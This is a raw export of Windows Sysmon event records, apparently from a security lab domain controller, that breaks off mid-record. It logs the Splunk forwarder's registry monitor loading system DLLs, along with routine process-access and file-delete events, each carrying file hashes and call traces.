CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.608{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.592{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000057283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000057282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000057281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=806B9CB296AF806744692764290A0556,SHA256=B7A8D634E9119AB499E5E4B85188818E32A6F2D829ED0A2421BF7E418072CC4F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000057276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.577{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program 